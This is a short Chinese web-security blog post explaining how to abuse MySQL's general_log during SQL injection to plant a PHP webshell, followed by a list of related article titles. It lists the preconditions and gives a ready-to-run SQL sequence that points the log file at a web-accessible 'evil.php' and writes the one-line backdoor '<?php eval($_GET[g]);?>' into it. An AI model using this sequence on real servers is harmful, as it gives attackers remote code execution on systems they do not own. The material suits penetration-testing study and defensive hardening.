WEB安全--SQL注入--利用log写入webshell

一、原理:

这也是对之前文章的补充:WEB安全--SQL注入--INTO OUTFILE-CSDN博客

我们可以通过修改MySQL的log文件,用select关键字写入木马文件放在服务器物理地址中,通过访问物理地址getshell。

二、条件:

用户有写入权限

需要知道物理路径(绝对路径)

需要能执行多行SQL语句

关闭对单引号的转义(GPC)

三、利用方式:

sql 复制代码
show variables like '%general%';            	 # 查看配置
 
set global general_log = on;              		 # 开启general log模式,将所有到达MySQL Server的SQL语句记录下来。
 
set global general_log_file = 'D:/WWW/evil.php'; # 设置日志目录为shell地址
 
select '<?php eval($_GET[g]);?>'             	 # 写入shell
 
set global general_log=off;                  	 # 关闭general log模式
相关推荐
网安INF43 分钟前
CVE-2020-17519源码分析与漏洞复现(Flink 任意文件读取)
java·web安全·网络安全·flink·漏洞
lubiii_1 小时前
墨者学院-密码学实训隐写术第二题
web安全·网络安全·密码学
cookqq1 小时前
mongodb源码分析session异步接受asyncSourceMessage()客户端流变Message对象
数据库·sql·mongodb·nosql
moongoblin2 小时前
行业赋能篇-2-能源行业安全运维升级
运维·安全·协作
Fortinet_CHINA2 小时前
引领AI安全新时代 Accelerate 2025北亚巡展·北京站成功举办
网络·安全
斯特凡今天也很帅2 小时前
clickhouse常用语句汇总——持续更新中
数据库·sql·clickhouse
这儿有一堆花3 小时前
安全访问家中 Linux 服务器的远程方案 —— 专为单用户场景设计
linux·服务器·安全
上海云盾第一敬业销售6 小时前
高防IP可以防护什么攻击类型?企业网络安全的第一道防线
网络·tcp/ip·web安全
饮长安千年月6 小时前
JavaSec-SpringBoot框架
java·spring boot·后端·计算机网络·安全·web安全·网络安全
大咖分享课7 小时前
容器安全最佳实践:云原生环境下的零信任架构实施
安全·云原生·架构